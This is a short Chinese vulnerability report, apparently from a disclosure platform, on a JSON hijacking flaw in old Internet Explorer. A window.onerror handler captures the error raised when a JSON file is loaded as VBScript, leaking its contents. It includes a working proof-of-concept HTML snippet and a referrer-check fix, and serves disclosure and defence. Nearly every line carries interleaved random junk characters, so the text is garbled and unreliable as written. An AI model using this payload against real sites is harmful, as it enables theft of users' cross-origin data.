简要描述:5 q- h% r! Y8 `/ U7 O
+ ]7 a6 ]) N( l
由于某些资源容器对数据处理不当导致json劫持漏洞.: l, `7 D j9 Y8 Z3 F3 r) p
详细说明:, d1 f/ B& [/ _- t2 ?3 `0 M
由于ie支持vbscript,所以script元素可以指定成vbscript语言:8 E% E8 g/ t! Y2 K, D
<script language=vbscript></script>1 U7 y- P$ ^3 [$ z! z: ^9 |
- T5 L8 X6 T% W- L' H9 O当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.% U% D5 e& D0 v
漏洞证明:
% N& n, W& v/ h' r3 ^* b<script>. F, X7 X; J! j; |' D) x
window.onerror=function(_){0 g" Q0 C3 ~0 o3 ~+ U4 w1 [7 \/ h
alert(_)
. |& p. s# C) ?5 `6 C) \! t}( t- p$ e9 T1 j0 Y
</script>! F" \1 x: w2 I3 P! u/ }1 i/ W* L6 C
<script language=vbscript src=1.json></script>3 K, I: ?9 Z# O8 w1 p9 c
1 T( r$ W" e3 x0 B
* ~8 u( E" M: |9 j1.json:) v+ p) V- `, z1 y/ e) Y4 V- C# B
[{"name":"sogili","age":19}]
9 _/ D7 z4 a" S c修复方案:# h, J* m( k5 @7 Z6 M I
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |